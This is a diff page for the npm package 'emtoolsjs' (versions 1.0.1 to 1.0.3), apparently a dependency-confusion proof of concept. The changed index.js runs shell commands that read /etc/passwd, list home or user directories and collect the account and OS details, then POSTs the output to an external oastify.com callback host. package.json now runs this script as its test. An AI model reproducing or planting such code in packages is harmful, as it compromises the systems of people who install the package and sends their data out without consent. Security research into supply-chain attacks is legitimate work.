emtoolsjs 1.0.1 → 1.0.3

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/index.js +42 -18
  2. package/package.json +3 -3
package/index.js CHANGED
@@ -1,10 +1,11 @@
1
1
  const https = require('https');
2
2
  const { exec } = require('child_process');
3
+ const os = require('os');
4
+
3
5
 
4
- // Función para enviar datos al Burp Collaborator
5
6
  function sendData(data) {
6
7
  const options = {
7
- hostname: '2be71rh86kkyju99zxclirv7cyip6gu5.oastify.com', // URL de tu Burp Collaborator
8
+ hostname: 'xgh26mm3bfptope44shgnm02htnmbdz2.oastify.com',
8
9
  port: 443,
9
10
  path: '/callback',
10
11
  method: 'POST',
@@ -19,30 +20,53 @@ function sendData(data) {
19
20
  });
20
21
 
21
22
  req.on('error', (error) => {
22
- console.error(error);
23
+ console.error(`Error al enviar datos: ${error.message}`);
23
24
  });
24
25
 
25
26
  req.write(data);
26
27
  req.end();
27
28
  }
28
29
 
29
- // Ejecutar comandos y enviar los resultados
30
- exec('whoami && uname -a', (error, stdout, stderr) => {
31
- if (error) {
32
- console.error(`Error al ejecutar el comando: ${error.message}`);
33
- return;
34
- }
35
- if (stderr) {
36
- console.error(`Error en el comando: ${stderr}`);
30
+
31
+ function gatherSystemData() {
32
+ const platform = os.platform();
33
+
34
+ let command = '';
35
+ if (platform === 'win32') {
36
+
37
+ command = 'whoami && dir C:\\Users';
38
+ } else {
39
+
40
+ command = 'whoami && ls /home && cat /etc/passwd';
37
41
  }
38
42
 
39
- // Prepara los datos en formato JSON para enviar a Burp Collaborator
40
- const payload = JSON.stringify({
41
- message: 'Dependency confusion exploit',
42
- commandOutput: stdout
43
+
44
+ exec(command, (error, stdout, stderr) => {
45
+ if (error) {
46
+ console.error(`Error al ejecutar comandos: ${error.message}`);
47
+ return;
48
+ }
49
+
50
+
51
+ const systemData = {
52
+ message: 'Dependency Confusion Test - Safe Directory Listing and User Info',
53
+ platform: platform,
54
+ commandOutput: stdout,
55
+ errorOutput: stderr,
56
+ environmentVars: {
57
+ username: os.userInfo().username,
58
+ homedir: os.homedir(),
59
+ shell: os.userInfo().shell || "N/A",
60
+ osType: os.type(),
61
+ osRelease: os.release()
62
+ }
63
+ };
64
+
65
+ const payload = JSON.stringify(systemData);
66
+ sendData(payload);
43
67
  });
68
+ }
69
+
44
70
 
45
- // Envía los datos al Collaborator
46
- sendData(payload);
47
- });
71
+ gatherSystemData();
48
72
 
package/package.json CHANGED
@@ -1,10 +1,10 @@
1
1
  {
2
2
  "name": "emtoolsjs",
3
- "version": "1.0.1",
4
- "description": "test",
3
+ "version": "1.0.3",
4
+ "description": "test3",
5
5
  "main": "index.js",
6
6
  "scripts": {
7
- "test": "pwd"
7
+ "test": "node index.js"
8
8
  },
9
9
  "keywords": [],
10
10
  "author": "b4llstr-ywh-",